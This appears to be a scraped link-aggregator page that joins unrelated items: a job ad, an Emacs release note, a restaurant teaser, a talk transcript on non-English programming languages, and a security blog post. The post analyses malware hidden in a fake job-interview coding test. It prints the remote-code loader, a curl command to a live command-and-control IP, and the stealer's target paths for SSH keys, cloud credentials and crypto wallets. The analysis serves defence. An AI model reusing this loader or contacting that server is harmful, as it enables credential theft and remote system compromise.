  • You move fast, own your work, and can work in person in San Francisco.

Nice-to-have — bonus, not required:

  • Strong OSINT experience is a major plus — you’ve done deep online investigations, identity resolution, reverse username research, entity mapping, or similar open-source intelligence work.
  • You've built something with LLMs or agents — a research tool, a RAG app, a scraper, an agent loop.
  • Experience with distributed systems, queues, workflow engines, or high-throughput pipelines.
  • Some React or Next.js, or experience building data-heavy UIs.
  • You've run systems in production — databases (SQL/Postgres), Redis, search, observability.
  • A sharp eye for data quality — you notice when an answer looks right but is subtly wrong.

If you came up a non-traditional path or haven't touched a specific tool, apply anyway. We'll teach you our stack. What we won't compromise on is how you think about problems.

What You'll Get

  • Real ownership. You'll own features that reach production and paying customers, with your work clearly yours.
  • Direct mentorship from engineers building genuinely hard applied AI — research agents, evals, and the large-scale systems that run them — who will review your designs and push you to be great.
  • A team that thinks before it builds, so you'll leave a much stronger engineer: better at architecture, systems, and judgment, not just faster at typing.
  • A generous budget for the best LLMs and dev tools. We want you building with the strongest tools available, not rationing tokens.
  • Founder habits: scope your own work, make the call, and watch it land.

The Details

  • Location: In person, San Francisco. This role is not remote.
  • Level: Junior and up — strong students, new grads, and early-career engineers all welcome.
  • Pay: $6,000–$10,000 / month, based on level and experience.
  • Perks: Lunch in the office, team offsites, and a real budget for LLM usage and tooling.

How to Apply

Show us something you built and be ready to go deep on why — the design you chose, the ones you rejected, and how it would hold up at scale. If you see a hard problem and your instinct is to understand it fully and own it end to end , we want to meet you. We're a small team, we move fast, and we hire people who want to be exceptional. Come build with us.

We build AI research agents that can discover, link, and reason over everything about people and companies. The platform turns that intelligence into automated research workflows for sales, recruiting, and marketing.

Emacs 31.1 will release on 8/24

Lobsters
github.com
2026-08-20 12:58:11
Biggest thing for me is that tree-sitter's ABI is being bumped to 15 -- fixes compatibility issues with several upstream grammars. For the impatient, RC1 has been posted: https://lists.gnu.org/archive/html/emacs-devel/2026-08/msg00599.html Comments...
Original Article

Latest commit

History

History

263 lines (149 loc) · 6.04 KB

HISTORY

File metadata and controls

263 lines (149 loc) · 6.04 KB

Feast on Cantonese Roast Meats at 'Chinatown Prices' in the Financial District

hellgate
hellgatenyc.com
2026-08-20 12:21:37
Char siu, roast duck, BBQ ribs...everything's under $10 at Sam Ping's....
Original Article

Patrick Lin grew up in Manhattan's Chinatown, and so, like any sensible kid, grew up eating a ton of hacked-up roasted meats, usually served over mounds of white rice, maybe with a bit of cabbage or bok choy laid on for bitterness and crunch, from any number of fast and cheap local spots. "Every day after school," Lin told Hell Gate, "this is what we ate."

My current Chinatown go-tos for such Cantonese delights include Wah Fung on Chrystie, Great NY Noodletown on Bowery, and Hay Hay on Mott, and you probably have your own. There are plenty of good options in this part of town.

Yet Lin lives just over the bridge in Brooklyn these days, where he has opened several restaurants of his own, including two versions of Em Vietnamese with his partner Rui Huan Hu: Bistro in Dumbo and Kitchen in Bensonhurst. For years, though, he's had this idea of bringing the everyday food of his Chinatown childhood to other neighborhoods around the city.

(Scott Lynch / Hell Gate)

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

A Personal Computer For Children Of All Cultures

Lobsters
www.deconstructconf.com
2026-08-20 12:11:49
Comments...
Original Article

Transcript

(Editor's note: transcripts don't do talks justice. This transcript is useful for searching and reference, but we recommend watching the video rather than reading the transcript alone! For a reader of typical speed, reading this will take 15% less time than watching the video, but you'll miss out on body language and the speaker's slides!)

[APPLAUSE] Hello, everyone. My name is Ramsey Nasser. I am a game designer, an artist, and an educator and this talk is titled A Personal Computer for Children of All Cultures. And I want to talk to you about a problem in computer programming that I've been thinking about for some years now and what I think we might be able to do about it.

So this talk is partially based on an essay of the same title that I wrote last year for a collection of essays titled Colonizing the Digital, Technology is Cultural Practice. It's available online, and parts of it get into more detail than I have time to get into here. So you should check it out if you have a chance. I want to thank Josh Harley for inviting me into that collection and supporting you along with [INAUDIBLE].

So the title is a response to the seminal 1972 Alan Kay paper "A Personal Computer For Children Of All Ages." In it, Kay describes the Dynabook, a programmable mobile personal computer that would actually go on to inspire the form factors of modern laptops and tablet computers. It was ahead of its time in a lot of ways. Prominently featured in the paper is the story of Beth and Jimmy, pictured here, learning physics through programming and reprogramming a video game together.

Kay champion the idea that computer programming could be more than an engineering tool but a tool to really learn by doing and empower young creative minds. That thinking would go on to inspire either directly or indirectly the Smalltalk, Scratch, Squeak, Processing, Arduino projects, the work of Brett Victor, if you're familiar with it. And as an artist and an educator, programming as an empowering educational expressive craft is something that has mattered a lot to me.

And this paper and the work that inspired has been very informative. But there's a problem with the story that it tells. It doesn't take much looking around to realize that every programming series used today is based on words and punctuation taken from the English language. In order to use any modern programming tool, some knowledge of English is a requirement.

In order to use any of these tools most effectively, actual proficiency in English is unavoidable. This favors programmers natively familiar with English over others and makes a truly equitable programming experience impossible. This isn't addressed in the Alan Kay paper, and it doesn't generally come up in contemporary conversations or on programming language design.

So in 2012, during a fellowship at the Eyebeam Art and Technology Center in New York, I started exploring this apparent bias by making a programming language named [ARABIC]. My goal was to provide a programming experience entirely in my native Arabic. [ARABIC] is basically a scheme interpreter that uses Arabic words in place of English words. It's sort of a boring language by design. This is a screenshot of a REPL session, implementing and learning the algorithm to compute the Fibonacci sequence, which is something you're required to do when you make a programming language.

I want to explore what a non-English programming experience might look like. And really, I wanted to understand why such a thing didn't exist yet [INAUDIBLE] talk earlier this morning mentioned sort of just throwing yourself into things, and that's the best way that I learned. So this is how I got into language design.

So [ARABIC] succeeds superficially in that it functions as a language, it provides Arabic keywords, and it rejects non-Arabic characters in general. But ultimately, it's unable to consume libraries, APIs, and SDKs because they weren't written in Arabic. As a result [ARABIC] and languages like [ARABIC] will never really be more than toys.

So thinking about the failure of the [ARABIC] project brought me to ask a bigger question. What does a programming experience that does not privilege one culture overall others even look like? I spend a lot of time thinking about character encodings, but ultimately, my research brought me to focus on names in programming languages.

Names are already understood to be a challenge. The famous Phil Carlton quote goes, "there are only two hard things in computer science-- cache invalidation and naming things." I think the latter part is true, not just because picking a good name is hard, but because names are a major vector by which culture, in practice, English written culture, becomes permanently embedded into programming systems.

To explain what I mean, let's pick apart an example. This is an excerpt from an OpenGL graphics tutorial in C. The full program spawns a window and renders a starfield in about 300 lines of code. The specifics are not terribly important-- just note that just about every line is full of English words.

So what would it take to translate this example into a non-English programming language? Is that even possible? So not all the English words are the same thing. We can put them into a few categories and analyze them in turn. The first category to look at is what are called in programming language theory keywords.

So most languages provide some basic set of functionality that is not subject to creation or modification by the user-- usually, things like loops and conditional statements and stuff like that. Syntax as a functionality is typically provided via keywords. These are tokens that are given special treatment by the interpreter or the compiler. So it's literally looking for these tokens and acting on them differently than a way than the way it would other tokens.

As a programmer, you have no agency over keywords. They're just baked into the language. To change them, you'd need to make a new programming language, which is hard but not an insurmountable task.

In fact, that's exactly what [ARABIC] does. [ARABIC] provides you with non-English keywords. So we can address this. This is a solvable problem somewhat.

This isn't a formal term. But for this talk, I want to call these local identifiers. These are names that the programmer assigns to their own functions, variables, and data structures.

So you do have choice as a programmer over what these words are going to be. Although, historically, languages will would impose restrictions on what constituted a legal identifier. Historically, that would be the ASCII character set. So you'd be sort of limited to Latin characters.

But if you're making a new language to provide new keywords anyway, you may as well relax that restriction and allow people to use Unicode to use characters in any language that they want. In fact, many modern languages do this. So in Swift, C#, and JavaScript-- and I'm sure there are others-- they allow Unicode identifiers. So right now, today, in any of these languages, you could make Arabic function names, and there's nothing stopping you.

So keywords and local identifiers, these are things that could be addressed by redesigning the programming languages themselves. Things get a lot trickier when we get to the third category, which for this talk, I want to call external identifiers. These are identifiers that you yourself did not write, but you still have to use, nonetheless.

These are names that are provided by libraries, SDKs, frameworks by the useful code that other people wrote that you build your software on. In the case of this example, the libraries are OpenGL and GLUT. These are graphics libraries.

Modern programming is not possible without code sharing like this, but because the way languages are built today, using a library means you have to use the exact names of all the declarations that the library author originally used in order to invoke them. Even if your language supports keywords in your native language, even if your language supports Unicode identifiers, if the author of a library you're using chose English names, which is true of every software library I've ever seen, you have to use the exact same English names that they chose in your own program.

So designing a new programming language is a bounded problem. It's hard, but you can do it. Tackling the entire ecosystem of libraries that are currently in circulation is not. Think of every library you've ever used. I don't know how many tens of thousands or hundreds of thousands or millions of libraries are in circulation today, some going back decades.

Think of the operating system SDKs. If you want to write POSIX programs, if you want to write Win32 programs, these are all libraries exporting English language names that you have to use if you want to build on top of that software. That's because names in programming are not external from the things that they name. Names in programming in a strange way become an intrinsic part of the thing that they name.

This is visible in a dump of a machine code and a symbol table of the GLUT library that the example that I was showing uses. You could see the names that the authors of the librarian assigned the functions are visible in the binary itself alongside the machine code that actually makes up the bodies of the functions that would run. These names are used by compiler toolchains, particularly parts of the tool chain tend to be called the linker to look up code objects and stitch together a working program.

If you use different names or the wrong names, the compiler toolchain isn't going to find the correct code, and you're going to gather a linker error. Your code's not going to compile. I'll show you examples in C because it's fairly low-level, but this is true of every programming system that I've worked with.

If you built a wrapper or a translation layer around these names, the names the original author chose are still the real ones as far as the computer is concerned. It's almost as when it was decided that podium would be the English word for podiums that the word podium, just its sound and its spelling became part of the molecular structure of the object. And you couldn't sort of extract them from each other. This is very much how programming works.

This is not an indictment of names themselves, and it's not a mistake that programming is full of names. Computer programming is an exercise in managing enormous amounts of complexity with a relatively tiny brain. Programming languages give us tools designed for our human minds as an interface into the vast complexities of computer science.

And one of the most important of these tools is the ability to name things. You can try and imagine programming using memory offsets, instead of function names, and what a nightmare that would be. Some people who work in very low-level embedded systems do a little bit of this stuff. But there's a limit to the scale and correctness of a system that you can build. If you're trying to keep mappings in linear memory in your head, as opposed to just using meaningful names.

So names are important for human cognition, and names get baked into code in a way that forces you to use names chosen by others in your own code. These two realities combine into a cultural and political problem because there's no such thing as a neutral name. Absent from most conversations about names in programming is how deeply cultural the act of naming something is. At the very least, a textual name is in one writing system and not any others. So at the very least, it carries with it the written culture of the person who assigned that name.

Historically, naming a territory was part of the spoils of war. That's still visible today in the dozen-odd cities named Alexandria between Egypt and Afghanistan left over from Alexander the Great's violent march across the Middle East. There's a story of lasting violence and war in the names of every one of these cities.

My own personal name was deliberately chosen by my immigrant parents to be pronounceable in the west where I'm called Ramsey and in my native Lebanon where it's pronounced Ramsey, as they imagined my future before I was even born. This is my mom and me as a baby where I'm already skeptical about computers.

This is a story of hope for a better life in the name that my parents chose for me. Naming is a deeply human act that records history and language. And it could be poetic and beautiful and violent and just about anything but neutral.

So what do we do? Names are what give the human mind a fighting chance to comprehend and manage the vast complexities of computing. Modern programming is only possible by building on existing systems, which means using names chosen by others in any new code that you write. Since every name carries with it the assumptions and worldview of the person who assigned it, every programmer today is forced into familiarity with the written culture of programmer's past.

So how do we build a programming experience that's not like this that doesn't favor one written culture over all others? I admit it's hard to even imagine what an alternative might look like, and it's taken me time to even arrive at a sketch of a solution. I think there's a particularly scary kind of oppression that robs you of even an imaginary liberation. But I do have a sketch that I want to share with you in my remaining time. So I'd like to first enumerate what features an acceptable solution would have and their implications.

So in my view, an acceptable solution must, number one, allow everyone to use meaningful names. now remembering that a meaningful name is going to be different to different people, it's going to be in a different language to different people. The implication of this is that constructs in this system must support multiple names for themselves. If everything had to have a single name, then someone's name is going to win out over someone else's, and we're back to basically the status quo.

Feature two, an acceptable solution must support global collaboration. So code written in India, for example, must be usable by programmers in France without invalidating 0.1. So, currently, this is possible. You can write code and import code written anywhere in the world, but that's because we force everyone to learn English. And that's exactly what we're trying to get away from

Point three is that it's somewhat definitional from the stated goal of the system, but an acceptable solution must not privilege one culture over others. And the implication of that is that we can't treat one written culture as the real one and translate to and from it because, again, that's not an equitable system or programming experience. If this looks hard, it is. This is a tall order, and I'm going to pretend that it's not.

Here's the basic idea. I think we need to decouple human-friendly readable names from machine-friendly canonical names, where the canonical name becomes the real thing that your compiler toolchain uses to stitch together your correct program. And the readable names exists for human thought and human convenience.

This is not a terribly new or groundbreaking idea. There are versions of this-- no pun intended-- in a variety of systems, most prominently in git. So in a git repository, the canonical names for things are their hashes. All right?

History is encoded as hashes. References are encoded as hashes. And in this case, they're all content hashes, and hashes have a bunch of really interesting sort of formal properties, but they're hard to remember. And they're hard to say out loud.

So git separately allows programmers to maintain branches and tags, which are readable names that can reference hashes and then they mutated and moved around. So in this example, there's a git history where the master branch is pointing to f3oab testing and head or pointing to 87ab2.

So some of these tags and branches can be shared. So, typically, in an open-source project, your master branch should be publicly viewable, and that would be the this is where this project is at branch. And some of them might be kept local. So your head branch typically in a local Git repository will refer to the branch-- to the commit that you're working against in your working directory.

So this is the kind of deep coupling I mean. One of these names is canonical. The other one is not. And it could be sort of shared or not shared in a way that's very fluid.

There are already programming languages that are investigating adopting an approach like this-- not for cultural reasons, but because if you build your programming language around these ideas, you start to get interesting benefits as far as distributed computing is concerned and granular version control is concerned. There's a programming language called unison it's on unisonweb.com is their website that is exploring this. Thomas Getgood is a closure dev who has built a closer implementation of this idea or something similar to the unison idea in a project called XYZZY.

So it's in the air. People are thinking about this already for programming languages-- again, not for cultural reasons. This is the sketch of it in my head, and I'm intentionally loose on some details because I'm not sure how most of this would work.

But I want you to imagine this is more of a virtual machine that supports multiple programming languages than a single programming language that everyone would use. So in that way, it's more like the common language runtime or the JVM, if you're familiar with those technologies. Each language built on top of it could expose keywords and local identifiers in whatever native language the programmer might want. The core system's job would be to facilitate the problem of external identifiers and libraries.

How do we reuse each other's code independent of the names that we assigned to our declarations? Also, in this slide and the next few slides, because are a bunch of hashes, I've given all the hashes a consistent and unique coloring just to make it a little bit easier to follow, but that's the meaning of these hashes. That's the meaning of the colors, I mean.

So when you compile a declaration in the system, three things happen. First of all, the resulting binary that the compiler produces is hashed, and that hash becomes the declaration's canonical name. So the draw rectangles canonical name is 3026. The draw triangles canonical name is b2e4 and so on. Importantly, the name that the programmer used is not part of the hash, just the resulting compiled code.

Second thing that happens is the hash, the compiled binary, and any dependencies get published to a globally visible distributed hash table. That's the arrow pointing to Africa. In an earlier version of this, that had been a cloud, but my girlfriend got mad at me because the cloud is a really stupid icon. And she's right. So it goes out into the world.

So here we see draw house has its own hash, but it depends on two other things. So that whole bundle gets published together. And finally, the name of the programmer used is associated with the hash in a separate data structure in a dictionary. These dictionaries might be published. You might keep them local.

It's kind of like git branches and tags. It's kind of up to you. It could be that downloading a library just means downloading its dictionary because then your VM will know which hashes to go out and grab because all the hashes are globally visible. So I want to walk through what an asynchronous kind of global collaboration might look like under this scheme.

This slide builds on the previous slide. So you see that draw rectangle and draw a triangle have the same hashes. But what's happened here is imagine with me, if you will, that somewhere in the Middle East, someone runs a workshop using the system, using this little drawing library. They acquire or write a dictionary that provides Arabic names for the same functions for their students.

So draw a rectangle. If it's visible to you up there, it is the Arabic version [ARABIC], and then draw triangle is an Arabic version that is [ARABIC]. Importantly, we're not really translating to and from English. The core thing here is the hash.

So what we're doing is we're giving a new name to a thing that already exists in the same way that a table is called table in English, but we call it [ARABIC] in Arabic. And that's not necessarily a translation. I'm rendering new function declarations in the middle and what they might output on the bottom.

So imagine that a student writes a function, their own draw house function. So here the Arabic, in the middle says [ARABIC], which is define draw house. It gets its own hash, 89c34, and you see that it depends on the red and green hashes from the previous slide and from this slide.

Now that same student-- imagine with me-- elaborates on that and writes a new function that is [ARABIC], draw a city, and that hashes to e51, that purple hash, and you see that it depends on their draw house function. It could be that you have some kind of looping construct and are calling that function in a loop to plop down houses within a radius. This step could happen entirely in their native language. They don't need to know or care that somewhere down the dependency tree there are hashes for which there also exists English names or names in other languages. This experience is entirely an Arabic one.

Finally, imagine a third student now somewhere else in the world-- maybe someone bilingual knows both English and Arabic, like some programmers are told to do, sees that this function has been written and decides to incorporate it into their own draw map function, which gets this dark yellow hash and depends on if I want A. The system could allow that dependency fluidly because there's nothing special about whether or not the function was written in one language or another. It all compiles into this actually neutral hash land.

This is the kind of back and forth collaboration that I think is crucial for a system like this to have. It's not that things are being written in English and then flowing downwards to other languages. It's that their code can really be written independently in separate languages and flow between people without passing through some written culture that acts as a gatekeeper. And English and Arabic here are not special, of course, this could be any two languages. These are just the two that I know.

So that's the sketch as I have it so far. I hope that was somewhat coherent. I really tried to get a demo working in time, but it turns out building this is really hard. I do have a prototype based on web assembly and IPFS that I'm playing around with.

And a system like this couldn't be retrofitted onto existing systems. You couldn't consume code that has to be looked up by the English language names. So it constitutes something of a reset button, and adopting it would be a major undertaking, which is true for any nonincremental tool. And if I'm being honest, I don't really expect people to massively refactor their workflows for a system that only gives you a cultural benefit. That's not enough of an offering to give most working programmers.

But if a system like this does enable other interesting things like distributed computing properties or granular version control, you might be able to sneak a cultural fix into a system that gets adopted for its more formal technical properties. Even then this doesn't solve everything. International collaboration across language barriers is hard and fundamentally not a technical problem. I found out before I came on stage that the talks are being live transcribed, and I'm very curious like what happened with the Arabic words that I said. This is a hard thing to do.

But the state of programming currently is one where we force everything to be in a single language, and we can't even have a conversation of what that might look like. So I don't know where this is headed or if any of these ideas are the right ones, but I keep working on this because the alternative is to just give up and just tell people to please learn English if you want to be a good programmer, and that's just not fucking good enough, so thank you.

[APPLAUSE]

How to compromise your system with a job interview

Hacker News
www.codedge.de
2026-08-20 11:50:57
Comments...
Original Article

How to compromise your system with a job interview

Table of contents

The current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match for a new position based on your prior experience. It might not be what it seems at a first glance.

“A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine. The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn.

Info

The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation.

Before you start with the test, you might be suspicious about the following:

  • The person contacting you is not part of the company on LinkedIn
  • There is no first “Get to know you”-call before you receive the coding test
  • The test might be in a different programming language than you’re skilled in
  • The code is available on Bitbucket, which IMHO is uncommon
  • The sender email address is a @gmail.com instead of an official one from the company

Hindsight is 20/20 so no judging here.

How it begins

The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is

  • about 180 files
  • a mix of dead and working code
  • no obfuscation or minification

.. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked.

Here is the fishy code part that starts downloading further packages to inspect your system.

Warning

That is the endpoint, that ships more garbage. Watch out! The complete source code can be found in this Bitbucket repository .

1
2
3
4
5
6
7
const initPriceConfig = async () => {
    const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
    const res = (await axios.get(`${src}`));
    const handler = new (Function.constructor)('require', res.data.record.model);
    if (handler) handler(require);
};
initPriceConfig();

The internal logic of the application always runs this function first by executing npm run dev , npm start , and so on. As it hands require in, it can:

  • require('child_process') for shell out
  • require('fs') for read/walk the filesystem, write persistence
  • require('net') / require('https') to open its own exfiltration channel
  • read process.env directly, which in this app means MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY

A lot of things you desperately do not want to happen on your system.

A closer look: second stage loader

The response from the jsonbin.io endpoint is effectively a remote-code execution loader . The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle.

After deobfuscating the returned payload we get another bunch of obfuscated JavaScript. This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5 .

I was able to pull the next piece of code using this

1
2
3
4
5
6
7
curl -sS -v --max-time 30 \
  -H 'Authentication: jwt' \
  -H 'Accept: application/json, text/plain, */*' \
  -A 'axios/1.5.3' \
  -D headers.txt \
  -o body.bin \
  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

It needs an Authentication header, with jwt as the token. This endpoint gives more obfuscated JavaScript code, in particular the following four modules:

scdata : an interactive RAT (Remote Access Trojan)
node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop +sharp for screen capture, clipboardy , and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal.

ldata : browser credential and wallet stealer.
Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain. It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute.

File grabber : walks the home directory
It tries to find private key , secret phrase , *metamask* , bitcoin , solana , .env , *.pem , *.p12 , *.pfx , plus documents and images, and whole .ssh , .aws , .gnupg and .docker directories. And, it enumerates all drive letters on Windows.

Clipboard monitor : monitor your clipboard
It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log .

When the victim connects out to 147.189.174.138:7321 , the server sees the source address on the accepted socket, exactly as any web server sees a visitor’s IP. No discovery, no scanning, no registration of an address. This is precisely why outbound-only design is so convenient for the attacker: it works behind NAT, CGNAT, a corporate proxy, or a home router with zero configuration, and it doesn’t matter if the victim’s IP changes.

You opened the door to hell while you just wanted to get a job.

Why can it access all your files?

The malware gets the home directory of the current user and then builds the paths to look at.

1
2
3
4
5
6
7
8
rootDir  = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
              path.join(os.homedir(), ".ssh"),
              path.join(os.homedir(), ".azure"),
              path.join(os.homedir(), ".foundry"),
              path.join(os.homedir(), ".config"),
              //...
]

It never asks for elevation. It doesn’t need root , UAC, or sudo , because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely. A process running under your account inherits that access. Node isn’t doing anything exotic here as cat ~/.ssh/id_rsa from a shell would work identically.

On Windows it goes further than home, enumerating drive letters via PowerShell and calling scanDir on each root, so mapped network drives and secondary disks are in scope too.

Some precaution for next time

A couple of things could have helped, although there is never 100% protection. You would just not expect such a thing from a piece of code you get for a job opportunity.

  • AI : a weak protection
    Ask your AI of choice to scan the project for any anomalies - obfuscated code, minifications, calls to external endpoints, unusual code patterns, etc. This is only a partial solution, as it would tell you the call to the jsonbin.io but it cannot see what the returned values are.
  • Docker : a partially weak protection
    Putting things into Docker and only executing the code inside isolates your host system and does not reveal any stored secret - as long as you do not mount host data into the container.
  • Vagrant : probably your best choice
    Running the code in a completely isolated system might even be the best choice. Snapshot your VM before and restore it afterwards. If there is no UI/Desktop environment the module for leaking browser data or screenshots is self-limiting. Still, the RAT and file grabber work.

Note that the RAT actively fingerprints for VM usage. It runs system_profiler , reads /proc/cpuinfo , and greps for vmware , qemu , microsoft corporation , then tags the beacon (VM) or (Local). That flag most likely feeds operator triage: a VM is more likely to be a sandbox and less likely to hold real wallets, so it may get deprioritised or handled more carefully.

A note on the AI part : Claude Code was not able to detect any strange things when just prompted to scan the code base for unusual patterns.

What now

When the damage is done you probably should:

  • revoke and rotate SSH keys
  • change passwords
  • check if you have any plaintext secrets or information stored that needs to be changed

… and reinstall your OS - better safe than sorry.

Meanwhile the fisherman’s (fake recruiter) profile has been deleted.

This post was created on and updated on .